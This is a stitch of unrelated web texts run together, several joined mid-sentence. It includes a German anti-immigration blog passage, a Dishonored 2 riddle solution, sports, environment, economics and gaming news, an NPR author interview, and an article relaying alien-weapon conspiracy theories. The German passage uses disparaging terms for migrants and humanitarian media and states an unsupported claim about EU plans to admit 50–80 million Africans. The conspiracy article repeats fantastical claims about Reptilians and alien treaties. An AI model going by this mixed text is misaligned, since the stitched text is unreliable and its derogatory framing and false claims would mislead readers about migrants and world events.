„Es geht darum, die verfehlte europäische Asylpolitik zu beenden: Wir müssen uns alle eingestehen und ehrlich sagen, dass die Aufnahmekapazitäten in der EU begrenzt sind“, schreibt Doskozil. „Wir müssen die illegalen Einreisen unterbinden.“ Der Plan sieht Asyl- und Migrationszentren für die Asylantragstellung in relevanten Drittstaaten wie dem Niger, Jordanien oder Usbekistan vor. Dorthin sollten auch im Mittelmeer aus Seenot gerettete Flüchtlinge gebracht werden. In den Zentren sollen Asylverfahren „menschenrechtskonform und nach EU-Standards durchgeführt werden“, fordert Doskozil. Nach ausführlicher Prüfung jedes Antrages solle dann „eine begrenzte Anzahl von Personen“ legal in die EU einreisen dürfen. „Bei der Integration von Asylberechtigten ist unbedingt auf die Kapazitätsgrenze eines Landes zu achten.“ Menschen ohne Recht auf Asyl sollen in ihre Herkunftsländer oder, wenn diese sie nicht aufnehmen wollen, in eine „sichere Schutzzone“ gebracht werden.
Ferner beharrt der Verteidigungsminister auf Fortführung der vom Schengener System nur als Ausnahmezustand erlaubten Grenzkontrollen. Die ÖVP und FPÖ vertreten schon länger die gleichen Positionen. Insbesondere Außenminister Sebastian Kurz ist damit immer wieder an die Öffentlichkeit getreten, und die FPÖ hat zusätzlich eine Änderung der Europäischen Menschenrechtskonvention gefordert, die wohl zur erfolgreichen Umsetzung notwendig ist. Der österreichische Militärgeheimdienst erwartet eine starke Zunahme der „Wirtschaftsmigranten“ aus Afrika und warnt, dass sich unter diesem Druck Europas Asylpolitik grundlegend ändern müsse.
Der bisherige Ansatz der Europäischen Kommission, bis 2050 unter dem Sachzwang humanitärer Imperative 50-80 Millionen Migranten aus Afrika aufnehmen zu wollen, stößt auf immer mehr Zweifel. Ähnliche Positionen werden von der CSU auf ihrer Klausurtagung in Seeon und in manchen CDU-Papieren (Essener Parteitag unter Federführung von Thomas Strobl, Innenministerium von Thomas De Maizière) vertreten.
Das Hauptproblem sind die vom Straßburger Menschenrechtsgerichtshof (insbesondere durch die Entscheidung Hirsi Jamaa et al von 2012) errichteten „hohen Menschenrechtsstandards“, die eine Rückführung selbst in Staaten wie Italien und Griechenland verhindern. Dies würde im besten bedeuten, dass europäische Staaten oder die EU ein hohes Maß an Zugriff auf das Handeln der Drittstaaten haben müssten, was diese sich sicherlich fürstlich entlohnen lassen, sofern sie es überhaupt gestatten. Oder es würde bedeuten, dass die EU-Mitgliedsstaaten sich einmütig dazu aufraffen, die Menschenrechtskonvention derart zu revidieren, dass der EMRG seine Rechtsprechung ändert.
In mancher Hinsicht ist Hans Peter Doskozil in seiner Klarheit noch über die Kollegen von FPÖ und ÖVP hinausgegangen. Er hat klargestellt, dass die außereuropäischen Asylverfahrenszentren auch Empfänger für Abschiebungen sein sollen. D.h. wer nicht direkt an seinen Endadressaten abgeschoben werden kann, kommt dort hin. Dies kann auch für Bürgerkriegsflüchtlinge gelten, die laut Genfer Konvention nur das Recht haben, in das erste sichere Nachbarland zu fliehen. Es ist offensichtlich, dass Europa nur dann überleben kann, wenn es ein Konzept der australischen Art beherzigt.
Während dieses Konzept von den Humanitären Hetzmedien Deutschlands stets bekämpft worden ist, ringt sich in Österreich offenbar die große Mehrheit der politischen Klasse gerade dazu durch. Auf dem hypermoralischen Menschenrechtsschaumschlägerkurs verbleiben womöglich nur die Grünen und die Minderheit der SPÖ, die vor einem halben Jahr noch stark genug war, um Faymann zu stürzen. Manchmal ist der Ernst des Lebens eben doch genug, um ein Umdenken zu bewirken, und kleinere Länder sind dabei regelmäßig im Vorteil. Aber noch ist die rettende Vernunft ein zartendes Pflänzchen. Mit ein paar Redebeiträgen in Brüssel wird sich der anschwellende Strom der Proletarier aller Südländer nach Europa nicht bremsen lassen. Erst muss sich unter noch größerem Leidensdruck der Wille entwickeln, notfalls Straßburger Urteile zu ignorieren und auch ohne EU-Beschluss Partnerländer außerhalb Europas für entsprechende Abkommen zu finden. Wir alle können dazu beitragen, diese Entwicklung zu beschleunigen, in dem wir ein Stück von dem Leidensdruck durch Aufklärung ersetzen.
Anhang
* Bundespräsident Van der Bellen trat in den frühen 1990er Jahren aus der SPÖ aus und den Grünen bei, weil die SPÖ die Einwanderung begrenzen wollte. Der patriotische/souveränistische Flügel der SPÖ ist nie so stark ins Hintertreffen geraten wie der der SPD.
* Die europäische Asylpolitik ist laut österreichischen Aussagen (Kurz, Doskozil etc.) insbesondere deshalb verfehlt, weil sie das Schlepperwesen belohnt und finanziert. Das hat allerlei perverse Nebenwirkungen wie etwa zahlreiche Ertrunkene und die Finanzierung des IS. Hinzu kommen systematische Missstände wie die Anlockung von „Wirtschaftsmigranten“ (so der österr. Militärgeheimdienst) über Tausende von Kilometern, die dann unabhängig von etwaigen Asylrechtsansprüchen in Europa bleiben und bestenfalls den Niedriglohnsektor aber noch häufiger den Sozialstaat und die Unterwelt bevölkern.
* Im Netz kursieren Zahlen von 15 Millionen Afrikanern, die laut österreichischen Schätzungen vor 2020 in Europa landen, wenn nicht gegengesteuert werde. Conservo nennt etwa diese Zahl. Die Quelle scheint ein Artikel in BILD zu sein,
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Karnaca], full of [Whiskey], jumped up onto the table, falling onto the guest at the centre seat, spilling the poor woman’s [Absinthe]. Then [Baroness Finch] captivated them all with a story about her wild youth in [Fraeport]
The names, homes, colours, drinks and heirlooms change position, but the wording of the riddle remains the same each time, meaning it should have one solution. The specific combination that will open the lock is based entirely on the order in which they appear in the riddle: for example, the first lady mentioned should always match up with the third heirloom mentioned. The only parts that matter are the order of the ladies and the heirlooms. Use the template above to match your riddle with the solution below.
Example [ edit ]
The women sat in a row. They all wore different colours and [Madame Natsiou] wore a jaunty [purple ] hat. [Doctor Marcolla] was at the far left, next to the guest wearing a [blue] jacket. The lady in [white ] sat left of someone in [green ]. I remember that [white ] outfit because the woman spilled her [Absinthe ] all over it. The traveler from [Dabokva] was dressed entirely in [Red]. When one dinner guest bragged about her [Bird Pendant ], the woman next to her said they finer in [Dabokva], where she lived. So [Baroness Finch ] showed off a prized [Diamond ], at which the lady from [Baleton] scoffed, saying it was no match for her [Ring ]. Someone else carried a valuable [Snuff Tin ] and when she saw it, the visitor from [Karnaca] next to her almost spilt her neighbour’s [Rum ]. [Countess Contee] raised her [Wine ] in toast. The lady from [Fraeport ], full of [Whiskey], jumped up onto the table, falling onto the guest at the centre seat, spilling the poor woman’s [Beer]. Then [Winslow] captivated them all with a story about her wild youth in [Dunwall].
The Combination [ edit ]
This combination should open the lock and unlock the 'Eureka' achievement/trophy, assuming you didn't find the solution earlier in the mission. It doesn't matter which order you put the answer into the lock, only that the right ladies and heirlooms match.
Lady 1 - Heirloom 3
Lady 2 - Heirloom 4
Lady 3 - Heirloom 2
Lady 4 - Heirloom 1
Lady 5 - Heirloom 5
Jindosh Puzzle Answer [ edit ]
' Far left Left Middle Right Far right Lady Lady 2 Lady 4 Lady 1 Lady 5 Lady 3 Heirloom Heirloom 4 Heirloom 1 Heirloom 3 Heirloom 5 Heirloom 2 Colour Colour 5 Colour 2 Colour 1 Colour 3 Colour 4 Home Home 1 Home 3 Home 2 Home 5 Home 4 Drink Drink 2 Drink 3 Drink 5 Drink 1 Drink 4
Visual Jindosh Riddle Answer [ edit ]
Glitch [ edit ]
Some people have reported glitched riddles, wherein the riddle will say that Character X is on the far left but when they found the solution during the mission Character X was actually somewhere else. It's not made particularity clear, but the order the women are listed on the solution does not necessarily reflect their position at the table. It's unclear whether there is a glitch or if people have been misinterpreting the solutions they've found during the mission.
Credits [ edit ]
Credit goes to /u/Candidate88766 from reddit for solution, as well as /u/Mrdeadguy34 for the screenshot.Dragon Quest XI confirmed for NX, simultaneous launch with PS4 and 3DS versions suggested
Interview excerpt from the latest issue of Nintendo Dream.
The October issue of Nintendo Dream features a round-table discussion between Dragon Quest series creator Yuji Horii, Pokemon series producer Junichi Masuda, and Super Smash Bros. series director Masahiro Sakurai.
During the interview, Horii confirms an NX version of Dragon Quest XI. Horii initially confirmed an NX version when Dragon Quest XI was first announced for PlayStation 4 and 3DS, but Square Enix then back-tracked its statement saying it was only “considering launching” on the platform.
Horii also suggests that all three versions will be released simultaneously, as “spoilers will emerge if we release one version earlier.”
Dragon Quest XI: In Search of Departed Time is aiming for release in Japan before May 27, 2017. Nintendo’s NX is due out a couple of months earlier, in March 2017.
Get the transcript below.Toronto FC have fired coach Paul Mariner and will unveil his replacement Ryan Nelsen at a news conference Tuesday.
The move comes a month after Kevin Payne was hired as TFC’s new president and GM.
Mariner was named coach of the Reds in June when the team started off 1-9-0 under Aron Winter.
Mariner had solid initial success before a spate of injuries to key players and a string of late-game collapses led to a club-record 14-game winless streak to end 2012.
The team has never made the playoffs and finished a franchise-worst 5-21-8 record last season.
Nelsen, 35, plays for Queens Park Rangers in the English Premier League and had been linked with a coaching role at former club DC United in the United States.
Nelsen used to play for Payne at D.C. United.
“He is a massive part of your team (but) he wants to be a manager and it is a chance for him to manage a club,” QPR manager Harry Redknapp told reporters this week.
“He has been fantastic. I took him to Tottenham last year from Blackburn. He’s one of the best pros I’ve ever met in my life, a fantastic player, a great trainer, a leader,” he said.
MORE LATERA view of Lake Mead's westernmost edge shows how receding waters have exposed islands and land. (Photo: William M. Welch, USA TODAY)
BOULDER CITY, Nev. — Even for a regular like Allen Keeten, who has been visiting here since the late 1970s, the retreating shoreline of Lake Mead behind Hoover Dam is a shock to witness.
"I hate to see it,'' the 58-year-old truck driver from Kenesaw, Neb., says, peering over the side of the massive concrete dam on the Colorado River. "Nowadays you've got to be careful when you are out on a boat because of all the exposed ground.''
Like a giant measuring stick in the desert, the dropping water level of Lake Mead, the nation's largest man-made reservoir, provides a vivid representation of the drought that is gripping the Southwest and much of the West.
Since the dam was built during the Great Depression, water that falls as snow on the Rocky Mountains as far north as Wyoming and collects in the Colorado River has been stored and diverted to quench the thirsts of Southern California, Las Vegas and parts of Arizona.
Only a fraction of the river's flow makes it to Mexico as millions of acre-feet leave the Colorado River system through pipes and aqueducts for use by farms, businesses and homes of the southwestern United States — the water rights apportioned by decades of court cases, contracts and legislation.
Now that measuring stick is drier than ever. Federal water managers say Lake Mead is just 39% full. The water level fell in July to its lowest level since 1937, when water began backing up to form Lake Mead after the dam was completed.
The level of the lake fell this month to just over 1,081 feet above sea level, 139 feet below the nearly 1,220-foot capacity.
As the water recedes, left behind is a broad white stripe of mineral deposits on the lake's shoreline, as visible as a dirty bathtub ring. New islands poke through the lake's lowered surface, and buoys stand amid desert scrub.
Entire coves and miles of lake fingers have dried up, forcing boat landings and marinas to close or relocate. Marina operators who want to stay in business have had to move their floating docks — and the fuel, electricity, water and sewer lines that serve them — in a costly chase to stay on the water.
"It definitely impacts our business. People get scared away,'' says Bob Gripentog, 61, whose family has owned and operated Lake Mead Marina since the 1950s.
"There's still 500 miles of shoreline, still a lot of water,'' he says. "But it's harder to get in and out of.''
Officials of the U.S. Bureau of Reclamation's offices here, who control the river flow and distribution of water within legal guidelines, expect Lake Mead's level to decline a bit more before recovering some as water held further upstream in Lake Powell is released.
Lake Powell is down, too, though not as badly at 52% of capacity. The entire Colorado River system of four impoundments, ending with Lake Havasu in Arizona, has just over half the water it is capable of holding this summer.
Still, federal water managers are optimistic that they can avoid reducing agreed-upon amounts of water to all who depend on it, at least until next year. Beyond that, much depends on how long drought continues.
"We need to use our water much more wisely than we have,'' says Terry Fulp, regional director of the Bureau of Reclamation. "As a society we have to recognize the value of water and the scarcity of water.''
"We have a long-term issue that we have to grapple with,'' he says.
The water level this summer could have been worse. Precipitation and water runoff from the Rockies has been strong this year, about 96% of the historical average, according to federal hydrologist Daniel Bunk. In June, the runoff was 114% of normal.
The snowpack in California's Sierra Mountains, on the other hand, has been well below average since 2011, the last good year for water runoff.
Jeffrey Kightlinger, general manager of the Metropolitan Water District of Southern California, the wholesaler that distributes water to scores of local governments from San Diego to Los Angeles, says extreme dry conditions and record heat the past two years in California have put unprecedented pressure on the region's water system.
Water from the Colorado River makes up about a quarter of all water that flows from Southern California taps, and water from the Sierras makes up about 30%, with the remainder coming from local sources, groundwater and reclaimed water.
The Southern California district stockpiled water in previous wet years and has been drawing on those reserves this year to make up for shortages in the flow from Northern California.
Conservation measures have been largely voluntary across much of California, but that is changing. California's State Water Resources Control Board in July approved mandatory if modest conservation steps backed by fines.
Aimed at reducing urban outdoor water use, the regulations require local water agencies to impose fines for hosing down driveways and sidewalks, allowing excessive runoff from landscape irrigation and using drinkable water in ornamental fountains unless it is recirculated.
Shortages from the Sierras make the water flowing through Lake Mead all the more important for tens of millions of people in California.
Bunk, manning the high-tech river flow control room not far from Hoover Dam, says the Bureau of Reclamation estimates that there is about a 23% chance that Lake Mead's water levels could fall below 1,075 feet, the point at which water distributions to some agencies may have to be reduced, next year. By 2017, he says, the risk is 50%.
An especially wet winter would help. A big snowpack in 2011 raised Lake Mead nearly 50 feet in one season.
"We need several above-average years to replenish the storage,'' Bunk says.
But the trends are worrisome. While California is in the third year of drought, Bunk says Colorado River data suggests this is the 15th year of a broader regional drought, interrupted by an occasional wet year.
Scientists studying tree rings for clues to past water seasons calculate that the period since 2000 is one of the driest in centuries. Bunk says the evidence shows the past 15-year period ranks in the driest 1% of the past 1,200 years.
"It really puts into light how severe this drought is, and yet we have been able to maintain water distribution,'' he says.
Unseen water levels are falling too. Jay Famiglietti, water scientist with the NASA Jet Propulsion Laboratory in Pasadena, says the drought has led to alarming depletion of groundwater sources. As water from the Sierras has slowed to a trickle, agriculture — by far the biggest user of water in California — has relied on water drawn from wells as a replacement source.
In a paper published Thursday, Famiglietti and five other scientists called the Colorado River basin "the most over-allocated in the world" and said groundwater — difficult to replenish — can't make up the difference indefinitely.
"The dropping level in Lake Mead is a very visual if not frightening reminder of the severity of drought,'' Familigetti says. "If the drought continues and water levels continue to dry up, it's going to have huge hydropower and water-availability implications.''
Read or Share this story: http://usat.ly/1rI628fLECCE, Italy–The world's rich nations will ask the International Monetary Fund to study ways of unwinding the drastic steps taken to rescue the global economy, a source with knowledge of the plan said today.
The source, who declined to be named, said finance ministers of the Group of Eight nations would request the study in a communiqué to be released on Saturday, after two days of talks in the southern Italian town of Lecce.
The move would not mean countries will quickly roll back the drastic easing of budget and monetary policies that they have put in place during the global economic crisis.
But it does suggest they feel an economic recovery is in sight, and that they want to reassure financial markets they can manage the recovery without unleashing a wave of inflation.
A leap in long-term government bond yields over the past several weeks shows markets fear the huge sums of public money pumped into economies will eventually fuel inflation and damage governments' finances for years to come.
Pressure has therefore been building in the G8 for talks on ways to wind down stimulus programmes as soon as they are no longer needed – "exit strategies" that would prevent market interest rates from rising high enough to threaten economic recovery.
"The IMF report will be probably presented at the (IMF's) October annual meeting in Istanbul," the source told Reuters.
The IMF study could provide governments with some political cover when they eventually start making painful cuts in state spending to bring budget deficits under control, and when central banks begin to raise interest rates back up from near-zero levels.
The German and Canadian finance ministers on Friday urged the G8 to hold its first talks on exit strategies.
"It's time to have a discussion on how to disengage from the fiscal stimulus. It's realistic to start talking about the exit strategy," said Canada's Jim Flaherty.
"I don't expect an agreement," he added. "These are early discussions."
Because of its historical experience with hyperinflation, Germany is one of Europe's most fiscally conservative countries. Berlin's upper house of parliament passed new measures on Friday to prop up confidence in government finances, restricting new debt issuance by German states from 2020.
But other countries are less enthusiastic about talking about exit strategies and less convinced that the worst of the economic slump is over.
Euro zone industrial production shrank by more than a fifth in April, new data showed on Friday, raising risks that the second quarter will be weaker than expected.
"There are risks to doing it (withdrawing stimulus) too late and also to doing it too quickly," another official source from a major European economy told Reuters.
"Now is not the time because you will only worsen things if you begin while the economy is still falling."
Federal Reserve chief Ben Bernanke has said the United States must start planning to restore fiscal balance. But U.S. Treasury Secretary Timothy Geithner has said that although he wants to "take stock" of recovery efforts, stimulus work is not yet finished.
"The dominant focus of policy everywhere – everywhere – still is on trying to make sure we have a strong foundation for recovery," Geithner told a news briefing earlier this week.
The G8 groups the United States, Germany, Japan, Britain, France, Italy, Canada and Russia.Mojang today announced a huge update to its popular Minecraft Pocket Edition app for iPhone and iPad. The big focus of the update is access to new free and paid skins for characters (as pictured above):
Skins are the way you change the appearance of your Minecraft character. Instead of looking like Alex or Steve, you can roll with a different vibe, like a butcher, dog, or plumber. Skins are purely cosmetic – they don’t affect the way the game plays or give you any special abilities.
Paid skins are available to purchase in bundles, but users can also upload or create their own as well as find free skins within the game. You’ll get around 20 skins for $0.99/€0.79/£0.79 if you opt for the paid bundles.
The update also includes other improvements and new features including the ability to fish and a long list of new animals. The full list of what’s new is below:
Multiple language support
Boats with space for two! Take your pet for a pleasant ride.
The ability to throw stuff from boats, including snowballs and eggs
Fishing! Now you can fish for fishies!
Squids!
Spider jockeys!
Cave Spiders!
Bats!
Adorable baby zombies!
Weird chicken jockeys!
Edible clownfish. Yum!
A fancy new World Edit screen so you can rename worlds, change game modes and do other things
Creative players can no longer be set on fire. Controversial
We’ve stopped cheeky chickens from walking on water
Animals can no longer breed without touching each other ooh err
Drinking milk now removes mob effects
Ridiculous amounts of bug fixes
More cool things that you should discover for yourself
You can grab the updated Minecraft Pocket Edition on the App Store soon (it’s submitted to Apple and should arrive any day now).'The Bishop's Wife' Tracks A Killer In A Mormon Community
Writer Mette Ivie Harrison is no stranger to struggles of faith; she says she spent six years as an atheist within the Mormon church.
"It wasn't something that I talked about openly," she tells NPR's Eric Westervelt. "I lost my faith, and I felt like I had made a promise to my husband and my children that I would continue to participate in the Mormon church. So I kept going."
Harrison says her ongoing search for faith was one of her motivations for writing her new novel, The Bishop's Wife. "I wanted to see if I could write about the kind of Mormon woman I wanted to be — who is both faithful but can ask questions," she says.
The mystery centers around Linda Wallheim, the wife of a bishop in Draper, Utah. When a young father in the community announces his wife has left him and their young daughter in the middle of the night, Linda is skeptical. She suspects murder — and she begins to go around her powerful husband to look into the disappearance. Her investigation leads her to question her faith, community and family.
Interview Highlights
On a real life case that served as a springboard for the novel
It's based very loosely on the story of Josh and Susan Powell — this was an event that I think all of Utah watched — I'm not sure how far it penetrated into the national audience.... His version of the story is that he woke up one morning, it was in January, it was a very cold night, and his wife had just disappeared and he didn't know where she had gone. However, as people investigated further into the case they discovered that he had gone on a "camping trip" with a 2-year-old and a 4-year-old and had gone — according to the mileage on his car — hundreds of miles. The police have been searching for the body of his wife for years now. And they never charged him with murder.
On the Powells and the Mormon community
I wondered how much Mormonism played a role in that investigation. I certainly don't want to point fingers at anybody — I don't know that anybody did anything wrong — but he was, I think, considered a good, upstanding Mormon man until this happened. And I think it took a long time for his community to realize what had gone wrong. It took a long time for details of the abuse that was going on in their marriage to come out.
And then the terrible ending of the story was that the boys were taken away from him for a brief time... and then they were given back to him and almost immediately he killed them and blew up his house and committed suicide himself. The ending of that story for all the Mormons who were watching the case and hoping for a good resolution was just so horrific that I felt like I wanted to make sense of that story....
I only use that as a springboard for my story, which ends in a completely different way and goes on many turns; it's completely fiction. But the idea that a Mormon community could have a killer living among them and nobody know — that's what I wanted to get at.
I'm not sure that the traditional media image of a stay-at-home Mormon mom is a correct one. I am myself a stay-at-home Mormon mom but I also have a Ph.D. from Princeton University and I've published seven novels nationally.
On how the main character fits into the stereotype of the stay-at-home Mormon mother
I'm not sure that the traditional media image of a stay-at-home Mormon mom is a correct one. I am myself a stay-at-home Mormon mom, but I also have a Ph.D. from Princeton University and I've published seven novels nationally. I see in my own Mormon community a lot of women who have unusual strengths, and I think we sometimes overlook that in a world where feminism and female power tend to mean only one thing. I think there's more subtlety involved in male and female roles, and I think the Mormon church is an interesting way to get at that.
On what made her lose her faith
I lost my sixth child very late in pregnancy — I was 41 weeks along — and I just woke up one morning and there was no heartbeat. We went to the hospital, and I was induced and the baby was stillborn. And I ended up falling out of the church — or at least falling out of my faith — and having questions about what felt to me like pat answers about where my daughter was, and why this had happened to me.
Some of those pat answers were: "She's in heaven." "You'll see her again when you are dead." "You will be able to raise her again." I know that for many parents those are very comforting answers, and I don't know why for me they were not.... The answer that "God has a special plan for you and this is part of that plan" — those all made me very angry and that led to me eventually just deciding that it was easier to not believe in God. I could not find a way to believe in a God that had planned this in advance for me. I was so heartbroken and really unable to go on with my life.
Enlarge this image toggle caption Soho Press Soho Press
On fiction as catharsis
Writing, for me — and story for the human race — is very much an attempt to make sense out of things that are basically senseless. Story is also a way to feel like we had control over the world. I feel like we struggled a lot after my daughter's death with the sense that every time my children left the house that they could die at any moment. And just that anybody that I knew could die at any moment and coming to terms with that.... I think religious people try to cover up that truth by saying, "Well, everything happens according to God's plan." And I think Linda [the main character in the book] finds a way to mesh those two that I am still working on personally. She feels like there can still be random events and God can still exist without necessarily him planning for those things to happen. That's not what her belief in God is for. It's not to give her a false sense of control. But that was what I really had used God for, and when I lost that I couldn't figure out how to believe in God again.
On how she expects the Mormon community to react to this book
I worried that Mormons will feel like the story is pointing a finger at them, trying to expose the worst parts of Mormonism, and I don't really mean it to be taken in that way.... I feel like a lot of the problems that are in Mormonism exist everywhere but they do have a different meaning within Mormonism — I think we talk about those problems in a different way. I've heard some feedback from a few Mormons who have been unhappy with the book — one person said that I had an agenda and that she felt like that agenda was very anti-men. I've been puzzling over that because I feel like there are so many really great men in the book. Kurt, the bishop himself, is, I think, a great man. And then Brad Ferris, who comes up later in the book, is another really, really solid man.
But yeah, there are bad male characters and there are bad female characters. I think that for Mormons they're used to seeing Mormons depicted either only as all bad, and then there are the Mormon books that are written for a Mormon audience and then the Mormons are all good in those books.... And I am treating Mormons as someone looking at Mormonism from an anthropological perspective almost and I'm not giving them a pass. I have to admit, I'm a little nervous about my particular ward's reaction to the book when it comes out.Conspiracy theorists have made the astounding claim that Putin’s military forces in Syria deployed and tested advanced weapon systems developed under a secret military technology pact with extraterrestrial species.
According to Dr. Preston James in an article titled “Putin’s Wild Card in Syria” published on Veterans Today, Putin’s bold intervention in Syria provided the Russian military with the opportunity to test weapon systems developed under top-secret projects in partnership with alien allies.
According to Preston, the Russians now appear to have a wide variety of ultra-high-tech weaponry based on exotic extraterrestrial military science and technology. Some of the alleged advanced weaponry, according to conspiracy theorists, includes supersonic torpedoes based on advanced alien inter-dimensional UFO cloaking technology.
The Russian army also deployed missiles based on alien “inter-dimensional entangled communication to evade interceptions,” Exopolitics reported.
The missiles function as “hived” systems that are able to disperse, regroup, and re-target mid-flight. The missiles are also able to execute complex mid-flight maneuvers, such as spiral patterns.
Russia deployed alien technology in Syria, according to conspiracy theorists [Image via Shutterstock]
Preston claimed that according to insider sources, the Russians also deployed stealth aircraft equipped with systems based on alien inter-dimensional UFO cloaking technology that renders aircraft invisible or undetectable during flight.
Conspiracy theorist Michael Salla pointed out on his Expoolitics blog that many aspects of Preston’s analysis appeared to be corroborated by previous reports issued by the ET space program whistleblower Corey Goode.
Goode claimed in several reports published on his Sphere-Being Alliance blog that top military powers run covert space military programs under secret treaties with extraterrestrial beings.
The Russian space program, according to Goode, is called Cosmosphere.
The U.S. government, according to Goode, is part of an ET alliance called the Interplanetary Corporate Conglomerate (ICC).
A sensational conspiracy theory claim emerged in the conspiracy theory blogosphere recently, claiming that documents obtained by hackers show that a sum of about $8.5 trillion that Pentagon was unable to account for was actually spent on a black project to build a Star Trek Enterprise-style star ship that has been launched into space under a top-secret government-ET space program (see video below).
Similarly, Putin’s Russia has reached agreements with alien species under the space program Cosmosphere. Russia’s alien partners help to develop and supply advanced weapons to the Russian military.
Putin allegedly renewed Russia’s treaty with the unnamed alien species during a meeting held on the Moon in March 2015. During the meeting, the aliens promised the Russians access to advanced technology to support the country’s intervention in Syria.
According to conspiracy theorists, unbridled avarice caused the global elite to conspire with alien species against the rest of humanity. The elite have suppressed information about contact with alien species and the availability of advanced science and technology that can help to solve a lot of problems and challenges facing humanity, such as in the fields of medicine and food production.
Aliens have been exploiting the avarice of the ruling elite. They have reached an advanced stage of a sinister plan to take over the world by 2030, according to conspiracy theorists. The Gray-Reptilian confederates have developed alien-human hybrids and are secretly integrating them into human society as part of a plan to take over the world by 2029-2030.
According to Preston, sources within the secret ET space programs claimed that ISIS troops are paid mercenaries of the Illuminati cabal. Many of the soldiers are genetically engineered clones and cyborg super-soldiers created using advanced Draco-Reptilian alien genetic engineering technology and deployed by the NWO-Globalists.
The Draco Reptilians, according to conspiracy theorists, are among the evilest and bloodthirstiest of known alien species fighting for control over Earth.
Alien folklore claims that they consider human flesh a culinary delicacy.
The reason why, despite their advanced technology, the evil Reptilians have not taken over Earth is that they are opposed by other powerful and benevolent alien species such as the Pleiadians and the Arcturian aliens.
It is also believed that the ET species that the Russians have signed a treaty with are old enemies of the Draco Reptilians. Russia’s ET allies deliberately supplied the country’s military with advanced weapon systems and ultra-high-tech electronic systems to counter the Dracos. They instigated Putin to intervene in Syria to checkmate the Draco-Reptilian-backed Illuminati cabal that controls President Barack Obama and the U.S. government, according to conspiracy theorists.
Preston narrated an incident that occurred in April 2014 when the Russians tested the superior capability of their alien technology-based jamming systems. The Russians flew Su-24 tactical bombers equipped with alien electronic systems over the U.S. Navy’s USS Donald Cook. The Russians were able to shut down the ship’s electrical systems and disable its radar and defense systems.
It was rumored that some senior U.S. military officers were so frustrated by the incident that they resigned their commissions, despairing of the capability of the U.S. military to match the Russians in a full-scale engagement.
It was also rumored that U.S. aircraft carriers were hurriedly withdrawn from the Persian Gulf after the incident because it was clear that they had no means of effective defense against Russian alien technology.
[Image via Bangkokhappiness/Shutterstock]Last month AMD launched their latest graphics card, the Radeon RX 480. It was quickly dubbed the king of its price bracket, a $200 card capable of powerful 1080p, 1440p, and VR performance. Today, AMD has publically revealed new additions to the Radeon RX family, the RX 470 and RX 460, and several days ago I was invited to learn more about this upcoming lineup built for 1080p and eSports gaming.
AMD’s product marketing manager, Adam Kozak, opened the briefing by discussing the company’s vision for the Radeon RX series and Polaris architecture. As exciting as expensive components can be, the majority of graphics card purchases are found within the $100 to $300 market. But according to Kozak, that’s been a segment where you often see a “mish mash of different technologies and generations of hardware.” AMD is pushing to change that with their Polaris architecture, unifying features “in price segments today that really haven’t had the latest and greatest.” Regardless of how much you spend, the Radeon RX cards are all equipped with the same future-proof technologies.
Some of the most promising performance developments are coming out of the new APIs, DirectX 12 and Vulkan, and AMD has been leading the charge in supporting them. AMD’s unique hardware implementation of asynchronous compute, a DirectX 12 and Vulkan feature that allows for compute and graphics workloads to be handled at the same time rather than inefficiently queued, often translates into significant gains. For example, the Radeon RX 480 saw a 30% increase in DOOM with Vulkan versus OpenGL. Additional games optimized for Radeon graphics include Hitman, Ashes of the Singularity, Total War: Warhammer, and the upcoming titles Deus Ex: Mankind Divided, Civilization VI, and Battlefield 1.
Kozak went on to say that gamers are also game watchers and streamers. To that end, the Radeon RX series is 10-bit HEVC ready and features high quality 2-pass encoding, which allocates more bits to the image to help with fast moving scenes. “We’ve pretty much doubled the speed and rate of encoding video,” he concluded.
The latest display specifications and technologies are supported across the entire lineup of Radeon RX cards, as well. That includes DisplayPort 1.3/1.4, HDMI 2.0, High-Dynamic Range HDR for expanded colors and higher contrast ratios, and AMD FreeSync. There are more than 80 FreeSync monitors currently available with more on the way later this year.
Finally, we moved onto the reveal of the Radeon RX 470 and RX 460. The Radeon RX 470 has been designed for “brilliant HD gaming.” It’s targeting 60+ FPS at 1080p with anti-aliasing and ultra settings for the latest games. The provided benchmarks showed it reaching 107 FPS in DOOM (2.4x the results of the Radeon R9 270), 77 FPS in Fallout 4, 66 FPS in Total War: Warhammer, 66 FPS in Hitman, and 64 FPS in Battlefield 4. Kozak mentioned that we can expect “some larger and smaller [board] sizes.”
Expected availability for the Radeon RX 470 is set for August 4, 2016. It will retail for $149 for the 4 GB variant and $179 for 8 GB.
Radeon RX 470 specifications:
GCN Architecture 4th Generation Compute Units 32 CUs Stream Processors 2048 Clock Speeds (Boost / Base) 1206 / 926 MHz Peak Performance Up to 4.9 TFLOPs Memory Speed (Effective) 6.6 Gbps Texture Units 128 Peak Texture Fill-Rate 154.4 GT/s ROPs 32 Peak Pixel Fill-Rate 38.6 GP/s Memory Bandwidth 211 GB/s Memory Interface 256 bit Memory Size 4/8 GB GDDR5 Typical Board Power 120W
Meanwhile, the Radeon RX 460 is targeted towards eSports gamers. It’s aiming for 90+ FPS at 1080p high settings in games such as Counter Strike: Global Offensive, DOTA 2, Heroes of the Storm, League of Legends, Overwatch, Rocket League, Team Fortress 2, World of Warships, and more. The benchmarks saw it reach 109 FPS in Overwatch, 1.3x that of the Radeon R7 260X. It will also be launching in mobile with no name change. “We’re keeping the same brand,” Kozak stated, because “these parts do very well at different TDPs.” And compared to the GTX 960M, AMD is advertising a 20% increase in performance over its competitor.
The Radeon RX 460 is set for an August 8, 2016 launch. Its MSRP is $99 for the 2 GB and $119 for 4 GB.
Radeon RX 460 specifications:
GCN Architecture 4th Generation Compute Units 14 CUs Stream Processors 896 Clock Speeds (Boost / Base) 1200 / 1090 MHz Peak Performance Up to 2.2 TFLOPS Memory Speed (Effective) 7 Gbps Texture Units 56 Peak Texture Fill-Rate 57.6 GT/s ROPs 16 Peak Pixel Fill-Rate 19.2 GP/s Memory Bandwidth 112 GB/s Memory Interface 128 bit Memory Size 2/4 GB GDDR5 Typical Board Power <75W
The majority of the market fills the $100 to $300 price bracket, and it’s great to see AMD isn’t leaving it behind, confused, or crippled. Gamers wanting high performance at 1080p to 1440p and VR may have some great and low-cost options with the Radeon RX lineup. We can’t wait to explore these cards further, and we should have more to say in the future.Protesters affiliated with the Black Lives Matter movement and other causes stand up during a Jeb Bush town hall on Aug. 12, 2015. [Netroots Nation Facebook page
Republican presidential candidate Jeb Bush ended a town hall early on Wednesday after being interrupted by members of the Black Lives Matter movement, the Los Angeles Times reported.
The protesters’ appearance marked the first of its kind directed at a GOP candidate following demonstrations at events featuring Sen. Bernie Sanders, who is running as a Democrat. Bush reportedly left the event in North Las Vegas without his customary closing statement.
